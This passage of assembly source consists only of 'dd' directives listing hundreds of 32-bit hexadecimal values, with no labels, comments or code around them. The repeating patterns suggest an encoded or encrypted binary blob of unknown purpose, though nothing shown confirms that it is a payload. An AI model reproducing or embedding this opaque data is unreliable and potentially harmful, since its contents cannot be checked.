		dd 54F4E46Fh, 540B91B4h, 0F0A6FC7Eh, 0DA76C943h, 0C9B97330h
		dd 883FFC07h, 29C51566h, 118D042Fh, 9682B288h, 4E940E38h
		dd 5723F4E3h, 44524660h, 0A63DD6EDh, 0D65A74AFh, 4BFCAB86h
		dd 22321EEAh, 9E8A7566h, 0EE01AE00h, 2565F5D8h,	335FA099h
		dd 17DB1375h, 61321566h, 0CE805205h, 8FB79811h,	0ED34065Ch
		dd 9CDBC599h, 0BB321566h, 7F380C3Fh, 6770721Eh,	0CFA0E2B1h
		dd 0F264326Dh, 0ABB3D2CCh, 0BA658E3h, 5FB97560h, 0E86FF2E7h
		dd 0E45345CFh, 223F4E3h, 7D525260h, 44349B69h, 0F4B31566h
		dd 3132F93Ch, 0D6B57D07h, 0CB3DD2D7h, 2232156Bh, 0D3B37306h
		dd 93DB0D7h, 44321566h,	4F87EA07h, 0ED340677h, 0B29F90EBh
		dd 4B521375h, 223217E1h, 0E8694266h, 0E8E2EA07h, 0B863DEEDh
		dd 0A7BB743Fh, 17288137h, 8832048Fh, 67D3A766h,	72B20040h
		dd 0CBB0C785h, 0E1C1C65Eh, 0F9B18835h, 2421021Fh, 71B71A66h
		dd 0E8321566h, 44349769h, 0C0B31566h, 592A1588h, 0E9C39E00h
		dd 55D390A0h, 0DE751375h, 734C100Eh, 3DCDED80h,	4221040Bh
		dd 8FB7989Eh, 7134065Ch, 88369A69h, 0FA541566h,	0DD5374DAh
		dd 168C75B6h, 610B6B04h, 44321575h, 3B2592Fh, 0B8785088h
		dd 0F822FD5Bh, 0ECE584C9h, 43EE6894h, 856790EFh, 4ECA137Ch
		dd 5723F4E3h, 0A43D5660h, 1132156Dh, 8832138Fh,	86DB6B66h
		dd 4A9851C0h, 83481C90h, 88321B8Fh, 8C2F8866h, 81BFD862h
		dd 78C76E46h, 0E8AFEFDBh, 0BCC8A269h, 4F87EA07h, 71340677h
		dd 61F8A269h, 4432156Eh, 0F3C7E679h, 394D7A60h,	25B79807h
		dd 4B34065Ch, 223202E6h, 1120FC66h, 73021566h, 0C917124Dh
		dd 0DFA72FEDh, 0D507EB81h, 0D0BDA4Bh, 0F152C599h, 24B61AF0h
		dd 90321566h, 1DABB48Eh, 0C1BB7407h, 2428813Fh,	1132138Fh
		dd 0EB3BB366h, 82ACAB41h, 3123F4E3h, 79C75660h,	74138246h
		dd 44359769h, 0A83D1566h, 11321567h, 0E587EA93h, 0AD340677h
		dd 22321575h, 0EF7FAB92h, 0D2E7325h, 0E2D5A04Fh, 1F402471h
		dd 9C543745h, 9B08B8E3h, 0C5547560h, 2D85AFADh,	113211E0h
		dd 0C1887366h, 94CD74A7h, 223A9869h, 993D1566h,	88321564h
		dd 0C1BB7406h, 2428813Bh, 688F969Fh, 88340671h,	44D49069h
		dd 0A83D1566h, 11321561h, 88339669h, 0ADCA1566h, 22321574h
		dd 0AAB5D648h, 48B49F3Dh, 952CB764h, 0C4F0BC9Fh, 94F4E6C5h
		dd 8E210487h, 475AE025h, 42B915CEh, 1CDA439Ah, 1F321566h
		dd 0BBEB4E26h, 0A4D77145h, 87AEFD0Fh, 87534A3Dh, 443214ECh
		dd 97CDEC66h, 1721040Bh, 8832068Fh, 7A636A66h, 111BCE57h
		dd 0C6F80076h, 684852BDh, 8538E044h, 189F90EBh,	0EECA1375h
		dd 9DB31AB6h, 24321566h, 22321E8Fh, 2A484D66h, 26EFB4B9h
		dd 31ABCDF4h, 43C19E00h, 855790EFh, 8752137Ch, 443217EEh
		dd 43E39E66h, 0D390A0h
		dd 61711375h, 44321569h, 0CC44DE0Ch, 1882FCAAh,	45EC1663h
		dd 2CDBBE29h, 0C76923B3h, 7C87EA9Fh, 71340677h,	7E9F90EBh
		dd 0DACA1375h, 71C7C599h, 8956AC00h, 0B520AB00h, 43B79C07h
		dd 0E8340FF2h, 99D390A0h, 0B1711375h, 2222FD06h, 0AD1F1566h
		dd 0D6E3681Fh, 116AE25Bh, 10F4118Dh, 49CE9323h,	8832138Eh
		dd 716D9866h, 2D99030Dh, 7068DED1h, 2200F40Eh, 0C554758Ch
		dd 4383ADB9h, 258CAF06h, 57B25F53h, 0F1CD7435h,	2421040Bh
		dd 113E9B69h, 0F3D1566h, 44321560h, 22329569h, 963D1566h
		dd 8832156Eh, 44309C69h, 43521566h, 2B9F90EBh, 0F3D1375h
		dd 44321567h, 0DAE2EA93h, 855B90EFh, 84DB137Ch,	15321566h
		dd 0ABD108E0h, 0E760B0B6h, 4EE9A013h, 5723F4E3h, 4ACE5660h
		dd 95C3B951h, 3547593h,	0B88873B8h, 97CD746Ch, 1721040Bh
		dd 88269669h, 4BDB1566h, 8C321566h, 0BCE73E57h,	88B708EEh
		dd 94710577h, 445279B9h, 0A43825DCh, 0DBF74EAh,	42212FCBh
		dd 0F2CDEC9Fh, 7CB79C9Eh, 87340FF2h, 443214EAh,	0A352E066h
		dd 6AD770A1h, 8837FD32h, 75EE1566h, 7401E16Fh, 0D7534E38h
		dd 9B23F4E3h, 2CCB5A60h, 0B50785B2h, 1132068Fh,	76B4F566h
		dd 978111A0h, 7BCAFBAh,	7B8A3C38h, 0DB2838B7h, 555FA099h
		dd 75521375h, 70694A31h, 0B29F90EBh, 0BBCA1375h, 0A7BBE9B6h
		dd 17288117h, 88339469h, 82C71566h, 3123F4E3h, 77525A60h
		dd 0EEF245DCh, 25840ED8h, 4C3C170Eh, 0AA54759Fh, 0F3DE695h
		dd 44321566h, 4F87EA07h, 1E340677h, 883218E9h, 443AFC66h
		dd 207E1566h, 152DABD0h, 0DBF1A1Ch, 42212FCBh, 21B91A06h
		dd 91321566h, 46B9C9BBh, 9FB37507h, 2A158064h, 0EE53E7EDh
		dd 35475B6h, 25CC9E9Dh,	0B64790EFh, 0D7CA137Ch,	9B23F4E3h
		dd 4ADB5860h, 60321566h, 3DA3571Eh, 62382192h, 0F53A5F7Ch
		dd 5B7B7DC8h, 9E3DDD51h, 8832156Eh, 44309069h, 43521566h
		dd 5FA099h, 0C3D1375h, 4432156Fh, 447AA406h, 0AA10C6E7h
		dd 25B79807h, 4B34065Ch, 223214EBh, 0C1CDE966h,	6CC39406h
		dd 0B868776Dh, 5FB79C07h, 71340FF2h, 0F3833EDCh, 41DB4753h
		dd 8B321566h, 3C5DF15Dh, 0DF47438h, 42210487h, 0E68A752Bh
		dd 1E7B8AFDh, 0E053EBD9h, 98C558EFh, 223A9869h,	953D1566h
		dd 88321564h, 0F1CD7406h, 2421040Bh, 113E9169h,	43D1566h
		dd 44321560h, 22329C69h, 94BF1566h, 8E212FCBh, 4432138Fh
		dd 9DF69A66h, 0EE72D4EAh, 883CFCB6h, 0A4631566h, 81E0BF35h
		dd 9E9280D9h, 655C021Bh, 44321B8Fh, 0BF941866h,	0E8FA4DF2h
		dd 0D0458144h, 0CDA429B3h, 38A66CE3h, 94F4E960h, 8E210487h
		dd 735AE933h, 0CBAE0E4Bh, 11321572h, 666EACB3h,	0FDDA89BCh
		dd 3C79FC0Fh, 9FA1A8FEh, 0B8C472BAh, 555FA099h,	2D521375h
		dd 7761DDD9h, 0E96DDAEDh, 7E9F90EBh, 0A13D1375h, 11321570h
		dd 8832048Fh, 0BB613666h, 0CD3D4C9Bh, 35D920B9h, 9AF26373h
		dd 94CDE25Dh, 710AB06h,	0A63D104Ch, 0DBB74A1h, 422881E7h
		dd 2238FC06h, 0F7E31566h, 0FE858F56h, 0E8460054h, 0CCABC3E7h
		dd 0F853403Fh, 88321575h, 3996579Bh, 0CC5ECE08h, 90EEC54Ch
		dd 0E296D4EEh, 823402E3h, 3123F4E3h, 17DB5660h,	57321566h
		dd 92F91F91h, 0D2187DE7h, 0AE52C7B3h, 0B1192F90h, 0BB53AAD2h
		dd 312378D3h, 94BFEC60h, 8E212FCBh, 0CAFFAD06h,	33DB4AC7h
		dd 0E1321566h, 631A0CBh, 1E2B1CAAh, 85591158h, 0C316741h
		dd 61E2EA07h, 44321560h, 61806351h, 94BB885Ch, 8E2881E3h
		dd 0A5B7D39Eh, 70340677h, 14B01A06h, 0EE321566h, 5023F2E7h
		dd 2232068Eh, 0B885D666h, 49D14066h, 2B19760Bh,	0C886466Ch
		dd 651E04E2h, 0ACACAA00h, 0AE5A7439h, 0CBCF57D2h, 11321563h
		dd 4944E140h, 2987EAECh, 2D340677h, 113219E2h, 8EB81A66h
		dd 4B321566h, 223215ECh, 9E3D7566h, 88321568h, 44321C8Fh
		dd 0CF6B6E66h, 74A22F7Ah, 4AB9B56Fh, 0E9B79807h, 4234065Ch
		dd 43C79537h, 0D8D733Fh, 4BDB7437h, 5B321566h, 8E771085h
		dd 0DCF38D34h, 22144753h, 0F2CDB73Fh, 113D9769h, 82DB1566h
		dd 63321566h, 306A3B96h, 66C48185h, 0E9B79CFCh,	24340668h
		dd 43EA9400h, 0C3851A47h, 87CA7507h, 443215E3h,	0A7F47466h
		dd 17210487h, 115AE021h, 0BCD08D3Fh, 335FA099h,	77521375h
		dd 8C45CDE7h, 4432078Fh, 34CF3F66h, 9CF85EE3h, 43B6410Ch
		dd 61E4929Eh, 437DFEB0h, 2B9F90EBh, 77CA1375h, 0FD6375B6h
		dd 622597EBh, 0A2B1AA38h, 1530AF5h, 5EA69CE3h, 2D527560h
		dd 113215E9h, 0E9F99E66h, 0A5B7D307h, 65340677h, 48657506h
		dd 7053CAEDh, 24F07D07h, 0A23DA49Bh, 11321567h,	0E587EA9Ah
		dd 0BC340677h, 8FB7989Eh, 0E934065Ch, 0EE52C599h, 4B1CDBDCh
		dd 223216E7h, 0DE8D1A66h, 5B79C07h, 24340FF2h, 0C3B7D307h
		dd 56340677h, 88321B8Fh, 81479366h, 1A6F5F97h, 0F2C47DEAh
		dd 0E0B375BEh, 9B94EB72h, 0CAB37306h, 0A854DE94h, 7753F13Fh
		dd 572378D3h, 223BFC60h, 97A01566h, 0AD56767Eh,	0C9CFC92Ah
		dd 3108B8E3h, 0C1CDE060h, 88379969h, 4B521566h,	0AB53D5D9h
		dd 0BA684E3h, 82DB7560h, 0DC321566h, 0E52DE23Ch, 3672E61Ah
		dd 883CFDD3h, 0E3D81566h, 45FA332Ah, 7048EBB4h,	4ECD83EFh
		dd 1F1CC3E6h, 0C3B7D307h, 4E340677h, 7FDC9406h,	255DB72Eh
		dd 72C07D0Eh, 0A4CDE0F8h, 8E21040Bh, 44321D8Fh,	21698766h
		dd 0FC385CB2h, 25B798E9h, 2434065Ch, 0F2CD7493h, 113A9269h
		dd 0C3D1566h, 44321564h, 0A7BB7406h, 172881F3h,	8832068Fh
		dd 3A778F66h, 2AC15153h, 7316B726h, 81E868DEh, 42E9ED09h
		dd 33D390A0h, 1E7D1375h, 883201ECh, 443DFC66h, 73471566h
		dd 6C88D032h, 876C46B2h, 7CDFA87Ch, 590D7D5Ah, 9B3DD29Ah
		dd 88321567h, 2987EA9Eh, 42340677h, 0D7B3DFEDh,	0B5567C87h
		dd 0E9B79807h, 2D34065Ch, 113205E2h, 8839FC66h,	0D92C1566h
		dd 0D71820FAh, 0CDFE46E4h, 61E2EA1Bh, 4432156Fh, 4F32446Fh
		dd 24AB0D0Ah, 49B79C63h, 0AD340FF2h, 2232156Fh,	327784CBh
		dd 0CB7097CCh, 0C1F4E06Ch, 24210487h, 1137FC21h, 0B6131566h
		dd 0AD1B5D67h, 2232156Ah, 79583C76h, 0DF45BCD2h, 0C73C2D6h
		dd 795C590Eh, 948B759Ch, 876BC82Ah, 443215EDh, 97CD7466h
		dd 1721040Bh, 8832078Fh, 8F5BAE66h, 0EE258E89h,	69351DA6h
		dd 51305437h, 0C9886B16h, 3108B8E3h, 90527560h,	0DCA5B6BFh
		dd 0BCB97303h, 0F2CD7407h, 1132128Fh, 3F56F066h, 18AC5C76h
		dd 0B6F790EFh, 1EDB137Ch, 0C2321566h, 0ADD1A84Eh, 130ABD5Bh
		dd 7A074AEBh, 0DF4BE70h, 42210487h, 28B21A21h, 71321566h
		dd 88329369h, 25521566h, 6FF7D07h, 0EECED660h, 9B2378D3h
		dd 0C1BFEC60h, 24212FCBh, 0DBB87593h, 0E990F3E6h, 0C43DC599h
		dd 22321567h, 0D8B79C93h, 7D340FF2h, 44369669h,	0DE521566h
		dd 94F4749Ah, 8E210487h, 0F33D7539h, 43D89FB4h,	0AA52D90Eh
		dd 3DCDE9B2h, 4221040Bh, 8FB7989Eh, 0E434065Ch,	53DC599h
		dd 44321561h, 22339769h, 98CE1566h, 92A68CE3h, 0C1F4ED60h
		dd 24210487h, 1122FC39h, 70AD1566h, 2FE91E0Dh, 1347BF2Ah
		dd 0BC6D6026h, 0C65A2B1Ch, 0ADACFC32h, 22321577h, 4572DFA2h
		dd 9BE8EA1Ch, 0F5ADAFC9h, 8902C8DDh, 7C87EA4Eh,	71340677h
		dd 7E9F90EBh, 0DDCA1375h, 1121FCB6h, 6921566h, 0A6AB1A55h
		dd 0D8D35ECCh, 0EBF598CFh
		dd 0BC768D39h, 0D9B79CBCh, 0DA340FF2h, 0D390A0h, 876D1375h
		dd 44321DE1h, 20B01A66h, 71321566h, 0A07A7D07h,	4EDBC475h
		dd 45321566h, 979C9C8Fh, 6516964Ah, 2987EA9Fh, 0DB340677h
		dd 2B9F90EBh, 0E8521375h, 4FDB7493h, 21321566h,	0E8A6E927h
		dd 479ECC70h, 0BB535E88h, 2220FCB6h, 48F71566h,	1CAE53A1h
		dd 4E27C53Fh, 3E9B1E87h, 0E5E5D830h, 1C9390EFh,	4B52137Ch
		dd 223213E1h, 11BD1A66h, 0E9321566h, 2CCE110Ch,	22320566h
		dd 1327D93h, 87521566h,	9AB9EFD9h, 0DB327F07h, 0C9B8099h
		dd 43D1375h, 44321573h,	223D9C69h, 1BDB1566h, 36321566h
		dd 828E716Ah, 0BCE9E5DCh, 0CB79C58h, 0E8340670h, 44349A69h
		dd 0A33D1566h, 11321566h, 0E9E49E00h, 3BEF90EBh, 0DDC7137Ch
		dd 3BE1AB6h, 61321566h,	4432156Bh, 172206F3h, 0EA528720h
		dd 64B1219Dh, 0BD367FC6h, 2222150Eh, 115AED66h,	87321546h
		dd 44321FEDh, 0C3B27566h, 0DEB37309h, 0E253B2FCh, 0D1CDEC66h
		dd 242108CFh, 15B61A06h, 0EE321566h, 0C480ECD8h, 2D5308BBh
		dd 113214EBh, 0DBBED66h, 42210B93h, 22321A8Fh, 0D7EF066h
		dd 622DF1CDh, 39B20D3Bh, 0D6A579B4h, 1F8B90EFh,	0C3D1375h
		dd 4432157Fh, 2232018Fh, 0AEAE8A66h, 0FB0EF572h, 3651ABD4h
		dd 0D25D1C1h, 0CD066387h, 0E8727FA3h, 0B7F4CDDCh, 0FB851A7Eh
		dd 1327D07h, 61521566h,	44321574h, 5DCAC669h, 6847775Dh
		dd 5375F7C2h, 0C61148F1h, 2BDA0BA7h, 46321566h,	0B4B2C461h
		dd 165E6AF5h, 4A534E9Fh, 11331566h, 88339569h, 2ECE1566h
		dd 70C77566h, 84CD743Ch, 8E2108CFh, 4432108Fh, 8F722C66h
		dd 1ADB05E3h, 57321566h, 5C125F44h, 7FF6708Bh, 94BBBEE4h
		dd 8E211977h, 0FB547506h, 44537295h, 9A53DFEDh,	9B2D24D3h
		dd 4422FC60h, 0BA2E1566h, 28DA43Dh, 31950804h, 466A6B78h
		dd 0BFB9152Ch, 1721052Fh, 1879C9Fh, 2434067Fh, 0EA685ADFh
		dd 8CBB745Dh, 8E2103F7h, 442A9C69h, 2D521566h, 113215E8h
		dd 8839FC66h, 807A1566h, 3B03D9F0h, 3DCDE9D4h, 15B9740Ch
		dd 4221052Fh, 24B81A06h, 1E321566h, 883215E3h, 4422FC66h
		dd 0FDD11566h, 1C4807FFh, 0FABBF00Fh, 0D9920603h, 0DA5321D8h
		dd 1130120Eh, 0AC269C66h, 443215DCh, 0A9E81466h, 77524F6Ch
		dd 0F44CF7E7h, 22537506h, 503DDAE7h, 9C3D7407h,	8832156Ah
		dd 44349A69h, 0A23D1566h, 11321566h, 8732ECE5h,	4405BEE2h
		dd 0E1B97566h, 6719AB00h, 6FBB4207h, 4436D2E7h,	0CDB11566h
		dd 350E9262h, 0AC369C3Ah, 4438FD06h, 88AA1566h,	0FC94C8CFh
		dd 444B9815h, 4BDB4A93h, 7E321566h, 4E938417h, 0A56DE05Fh
		dd 129EDF6Eh, 7553E67Bh, 0D6B3F2EFh, 88321562h,	0C336FAE5h
		dd 0AB6E315Ah, 963D316Ah, 88321567h, 0C452759Eh, 2EDBFBA6h
		dd 55321566h, 0FE9401D3h, 0D9807535h, 43E5602Eh, 98C7D557h
		dd 9B19D0E3h, 0FC62EC60h, 2232155Ah, 15B9D3EFh,	8CF69442h
		dd 0AD321566h, 22321569h, 0E5197F8Ch, 0A1C00943h, 0A3DFC7C2h
		dd 0A38C3048h, 0DC4BC6A0h, 0CADC946Eh, 474E5A5Eh, 0A3123112h
		dd 5E0A57A0h, 5BDC941Ah, 4B3AD81Fh, 22321BEEh, 113BFC66h
		dd 98E71566h, 0C51452A1h, 4450E1D4h, 0AA61ECCBh, 0DE665A5Bh
		dd 4769CD4Fh, 27123122h, 47665A5Bh, 37D79F06h, 6912142Bh
		dd 5A894607h, 10321566h, 3019EA5h, 80B3317Ah, 22321562h
		dd 11339569h, 9CE1566h,	0A1760DA0h, 28F4940Eh, 1255EF37h
		dd 9123112h, 0BE631F88h, 3ADC9401h, 1E5AF022h, 883214EEh
		dd 0FC62EC66h, 2232157Eh, 76DB063h, 0A5C2147Ch,	5E244AC3h
		dd 0DA6A2DEDh, 1633A8EFh, 87521375h, 443213E3h,	22B11A66h
		dd 0E4321566h, 87CD9007h, 443221E3h, 9CDAE066h,	1E321538h
		dd 883219E9h, 42BC1A66h, 2D321566h, 113215ECh, 8C8DFC66h
		dd 56DB1566h, 0CC321566h, 0A32BA1Fh, 0D0D3AC56h, 533730E9h
		dd 67C61EE0h, 20967D4Eh, 84BB1566h, 4DBC1A42h, 42321566h
		dd 77F09E00h, 0E9DFB9DEh, 4432E00Eh, 60E9C66h, 0C359ED3Ch
		dd 93B31A62h, 4B321566h, 223200EDh, 1122FC66h, 7ECE1566h
		dd 0EEF64989h, 8C75EA7Bh, 3E646B92h, 1DBB4F10h,	42211043h
		dd 22339B69h, 7BCE1566h, 8826FC62h, 62861566h, 8900F146h
		dd 1EFA4B44h, 0CBDD1682h, 0CCE46507h, 225A23FAh, 1E321576h
		dd 883205E3h, 43DB7566h, 51321566h, 0F11F320Eh,	0E952FB39h
		dd 0A2BB4307h, 2236D3E7h, 0FFB11566h, 0AC069262h, 60269C3Ah
		dd 0CB327F9Fh, 11321576h, 8DD9A174h, 7D1BA4FBh,	7FC17229h
		dd 56346CC1h, 959B8099h, 54DB1375h, 2F321566h, 5516B906h
		dd 86D8B366h, 0F9AB05C1h, 0AB9B09CCh, 23F3CE3h,	952E060h
		dd 1D297BA5h, 41E99457h, 701101DFh, 88294E0Eh, 60369C66h
		dd 0BB1621E7h, 4B1A331Fh, 0F1ABE7E7h, 55DB3D40h, 30321566h
		dd 5AFC7539h, 40521C43h, 0CE183D77h, 0F21B33B9h, 461619EDh
		dd 4FB3F2EFh, 44321562h, 0A536D2E5h, 716E315Ah,	6E1DAB00h
		dd 44349F69h, 0A93D1566h, 11321566h, 8837FC07h,	3D5D1566h
		dd 0CA1DC298h, 1132482Bh, 883C9D69h, 4DDB1566h,	10321566h
		dd 767C900Dh, 0BB44A2Eh, 44361F0Eh, 6069C66h, 1EB81A06h
		dd 61321566h, 4432156Ch, 576F9CE0h, 0A014A2ACh,	25531CFAh
		dd 44339769h, 75CB1566h, 0F17838D9h, 0D7CA1459h, 60165165h
		dd 0C278384Bh, 19B11A59h, 87321566h, 443217EFh,	0A1537566h
		dd 15BB118Ah, 0D76A4242h, 443DFD06h, 9ED11566h,	88E238B1h
		dd 82EED69Bh, 112E03C4h, 2234FC41h, 35441566h, 7E5D5290h
		dd 46B51A38h, 0A9321566h, 4264749Eh, 56BBEEEFh,	1AC19C3Dh
		dd 0C2BB459Fh, 11321163h, 8CDA9666h, 181611E1h,	0CB1629EFh
		dd 11321561h, 2F0DD680h, 244C81EDh, 2DF22507h, 113202EEh
		dd 7C817566h, 44321B8Fh, 7322BA66h, 12C68C4Fh, 0B15E0919h
		dd 251E2C52h, 42CF60C8h, 11BE1A9Fh, 0E9321566h,	6006EA93h
		dd 26F69438h, 1E321566h, 883214E4h, 83B3E966h, 487608A9h
		dd 636CFAE7h, 571B16B5h, 366CD2E7h, 0CDB316B5h,	7B7608A9h
		dd 88369369h, 14521566h, 0E85A743Eh, 98321551h,	0D9C73172h
		dd 8EBBECEFh, 0A31619EDh, 113211A2h, 8826FC66h,	89E41566h
		dd 45633331h, 0F77A0DF3h, 9F8EB66Fh, 0FF524791h, 9FB92934h
		dd 1721037Bh, 77CDAC9Eh, 4DDBEA99h, 1D321566h, 0D24AEC28h
		dd 8E10160Fh, 2252D557h, 43CBE5EDh, 1132AE35h, 7B331566h
		dd 4432AC37h, 0FB331566h, 4A6B14ECh, 88321C8Fh,	516E7B66h
		dd 48119018h, 0D90216CCh, 59851A06h, 0FC62749Fh, 22321567h
		dd 0E86AD367h, 3B52199h, 80B13162h, 0CB527562h,	1132156Ch
		dd 0A93BD137h, 1DAEF473h, 1483B5AEh, 0F8F37407h, 4903E96Eh
		dd 44321E8Fh, 0E7EE2166h, 0F9EE7C14h, 0C953179Fh, 0CDB71A2Ch
		dd 0DBCDEA99h, 35369E37h, 8836D1E7h, 14CA1566h,	0D5684D34h
		dd 1E5287B4h, 883203EEh, 4423FC66h, 0D9741566h,	0E140F737h
		dd 41D95DE5h, 0ABFDA6C6h, 0A8E71A79h, 5B97488h,	6ABB4742h
		dd 4436D7E7h, 0E0B11566h, 35269262h, 80DBED3Ah,	53321566h
		dd 4564B312h, 79B7E7E6h, 88326A36h, 0CB1611EFh,	9A62ED64h
		dd 11321562h, 0C2EEFFE7h, 86330265h, 68EED7E7h,	1E6A0265h
		dd 883200E5h, 0F98B7566h, 0CA74EF8Eh, 1132156Eh, 0FEE8DD45h
		dd 9B8AB139h, 0AA5A743Eh, 98321510h, 0A3D3172h,	4432156Fh
		dd 22BD1A06h, 0ED321566h
		dd 4DB7EA07h, 0AD34064Dh, 22321575h, 0EC8659FBh, 0C58D9E56h
		dd 89CF1E93h, 34F85F8Ah, 0E9D4DAD2h, 0A3F780EDh, 7DCA1375h
		dd 313514F3h, 63B61A60h, 7D321566h, 171601EDh, 0E1B3F6EFh
		dd 11321562h, 0F36D6E5h, 4B6E317Ah, 223214E3h, 25CDEC66h
		dd 4CB34B42h, 44321562h, 22321B8Fh, 0FA3B2B66h,	0FDD8B29Eh
		dd 3DEEBD17h, 7319303Bh, 113211DFh, 96DC9466h, 453A8420h
		dd 3CF494A8h, 483A8420h, 738D1A06h, 3E24AE00h, 0DF34FC07h
		dd 9A3DEA99h, 88321577h, 4432198Fh, 0D79A8566h,	9170149Eh
		dd 0B20D3561h, 6006EAB7h, 26F6943Ch, 0F8321566h, 88321575h
		dd 0E0B7ACAAh, 0BB512EC8h, 0FCDE4B78h, 55E910F7h, 0BBF65BF6h
		dd 0A36C3152h, 113211A2h, 86BE1A66h, 24321566h,	22329A69h
		dd 9C3D1566h, 88321566h, 0CC3D7407h, 2232156Ch,	52E59406h
		dd 0D935A4A3h, 70CD743Dh, 0E6B14C42h, 1CB31A62h, 0E8321566h
		dd 57D19400h, 6D894DEh,	705A5DE6h, 88339769h, 0CFC71566h
		dd 0AB653162h, 15F59481h, 0B321566h, 78B511A1h,	0E5CB4942h
		dd 233B0E3h, 88321560h,	0C1F5EC66h, 242131AFh, 11321566h
		dd 88321B8Fh, 9459AA66h, 18FCF4B1h, 1E99701Ch, 0B7178C7h
		dd 5EA61CDBh, 0A63D1560h, 11321549h, 883E9A69h,	0CB3D1566h
		dd 22321560h, 11329B69h, 15BF1566h, 422B8CA9h, 2232138Fh
		dd 8589B766h, 70F49908h, 0F452C699h, 0D2B373F1h, 0EE536D6Fh
		dd 9B3714E3h, 82B37560h, 58E605B2h, 1132108Fh, 3C2AB466h
		dd 0C7534A7Fh, 313714DBh, 933D7160h, 88321701h,	45B7D29Fh
		dd 23340663h, 0F8321566h, 88321560h, 0C6F6E19Ah, 0CB52A62Ah
		dd 1132156Ch, 5BA5B4BFh, 8805D226h, 0AC3DA006h,	11321567h
		dd 58B7989Ah, 0AD340F1Eh, 22321574h, 33413930h,	0DBB68970h
		dd 0E1419028h, 0BD8C23F5h, 0C1CD0D33h, 8832058Fh, 0C8AF5B66h
		dd 0EAB5EF39h, 0CF734068h, 4664705h, 4421FC22h,	5D981566h
		dd 214BCC9Bh, 0B7392A51h, 2DB584D9h, 0C69DAB9h,	0C88798F7h
		dd 0E8340FF2h, 44321C8Fh, 0B0E2D566h, 36AC777Ch, 553B1D5h
		dd 5F2F48DBh, 0EAB37560h, 3AEFE474h, 0E9EAAA69h, 4432108Fh
		dd 414D6566h, 0D6B3961Bh, 0A76453C9h, 6AFBD2E7h, 0D51B29DEh
		dd 3FFBFAE7h, 67B329DEh, 6B6453C9h, 223AFD06h, 0C9A81566h
		dd 0A1B9DFF7h, 0F78D6E25h, 7D44E7AFh, 0E9BB4507h, 1F39C37h
		dd 246A4CACh, 7BB5C7E7h, 70CA5210h, 9E2FA8EDh, 22521375h
		dd 0F5B3D4EDh, 42627F34h, 77CDAC07h, 75C7EA99h,	9860EDA6h
		dd 11321566h, 0E1C3D7E7h, 0B6334907h, 4BC3FFE7h, 13B84907h
		dd 4002E93Ch, 0FAC19406h, 0CA7C4307h, 1132156Ch, 272A673Ch
		dd 1DA5620Fh, 2BDA9EA7h, 3E321566h, 84D251E2h, 6005080h
		dd 73534E3Ch, 0EECDEADFh, 0D1FC3C99h, 0C306EA9Eh, 0A11611EDh
		dd 9C3D11A2h, 88321571h, 443CFC06h, 0D7E21566h,	2A06E656h
		dd 0FD3300A7h, 4CD7BB00h, 0E353D3EDh, 0F9521D8Fh, 8832156Eh
		dd 74F0CE52h, 4507A600h, 488FDCE6h, 61F32407h, 44321569h
		dd 0D8F598CFh, 25768D39h, 40AEAFBCh, 0E06E5EBh,	0DD6B9069h
		dd 43C7EA99h, 0D060DFEFh, 45B61A3Ch, 0DA321566h, 11385B0Eh
		dd 0AC369C66h, 1C160191h, 2232188Fh, 0BFC6CB66h, 32A49FADh
		dd 16613D46h, 0A70BD8C2h, 17210023h, 884F9169h,	12CA1566h
		dd 2E2C2CD8h, 0FDDC947Eh, 964CE03h, 5F6BA388h, 0A3E4E208h
		dd 7EB2F688h, 7EB35B25h, 0E7539C4h, 35B9E3E7h, 0C7C57471h
		dd 6C60E3E7h, 0B4BBA8B2h, 29CEE938h, 3EB71AA6h,	61321566h
		dd 44321572h, 57A7F7D4h, 0C569D8F4h, 286BD1C7h,	14DF50C5h
		dd 3440D5F0h, 2BB90A1h,	88331375h, 0FA521566h, 6AFD654Fh
		dd 0D38D1A30h, 4F5A743Dh, 0CD321505h, 988D315Ah, 1032243Fh
		dd 0E9CE4A9Fh, 44339269h, 4ACA1566h, 11327044h,	321601EFh
		dd 3D060F6Fh, 0CB68C4EFh, 1132156Bh, 26194169h,	0EFE145B6h
		dd 0C6C856Bh, 51677D38h, 84BB1566h, 0BB79AC42h,	0E8BB3E6Ch
		dd 16B21A3Fh, 87321566h, 443214E5h, 4452E066h, 0AD99D2E7h
		dd 0E927E0E6h, 5CBE1ACBh, 2D321566h, 113207EEh,	883FFC66h
		dd 212A1566h, 1FB53067h, 110E0A40h, 1BA5508h, 572B9CD3h
		dd 953D7560h, 328C73A0h, 8DDB740Eh, 47321566h, 2CC408CDh
		dd 86BAE35h, 43B30EF8h,	162C09E0h, 23AAD6E7h, 0F2B37D22h
		dd 9E5E55E9h, 4435E6E7h, 7CBB1706h, 352E9E9Ah, 8736D1E5h
		dd 443214E5h, 0CC0FE066h, 1EDCFB88h, 8832DDE3h,	0FA527566h
		dd 56191F55h, 70524207h, 9CE7438h, 99EFC858h, 8CB71ABBh
		dd 1E321566h, 883214E8h, 2C65E066h, 3C7B2D4Ah, 901629EDh
		dd 883211A2h, 41DDD466h, 0D5B3C291h, 642F099Bh,	0DD0FD2E7h
		dd 7ABB6089h, 34BF1A39h, 71321566h, 8832188Fh, 0A4F67766h
		dd 77C0A5EAh, 0D317AFBBh, 0D763BD6Ch, 408B4407h, 0A3321566h
		dd 709E488h, 9FC1407h, 5209E4A0h, 44524C07h, 91B222DEh
		dd 153F4B7h, 572B9CD3h,	2BDB7560h, 88321566h, 857B844Fh
		dd 0BCBC82D0h, 22BB1A06h, 91321566h, 0E953658Ch, 6F87FC9Eh
		dd 33DB1566h, 0A3321566h, 0D7042777h, 3486B402h, 0E53D34A5h
		dd 6AC3118Ah, 77CC938Fh, 46B51A99h, 42321566h, 0D0BB4407h
		dd 616B4E37h, 4432156Ch, 0B9586F97h, 0B0B14266h, 87DB177Fh
		dd 45321566h, 0AF3F433Ah, 0B0C11E05h, 95DC9C4Fh, 0C1016A7Dh
		dd 242106EFh, 0F25CAD06h, 49530CE9h, 41CB16AEh,	66A6735Dh
		dd 0AE65C54Fh, 0CCA6735Dh, 246DED4Fh, 92C39400h, 70FD9E9Ah
		dd 8722D5A7h, 443214E7h, 0EA03EC66h, 98AF9C9Eh,	61340675h
		dd 4432156Ch, 3E0012C4h, 8BDBB3F7h, 880FEDA0h, 4B321466h
		dd 22334DE5h, 1135FC66h, 65C91566h, 0B0F0A2D0h,	990C9494h
		dd 1E89AEDDh, 883355E3h, 5CB31A66h, 42321566h, 2A1C04DEh
		dd 8839FD3Ah, 33C21566h, 18A76C02h, 454E8F99h, 0D9534E60h
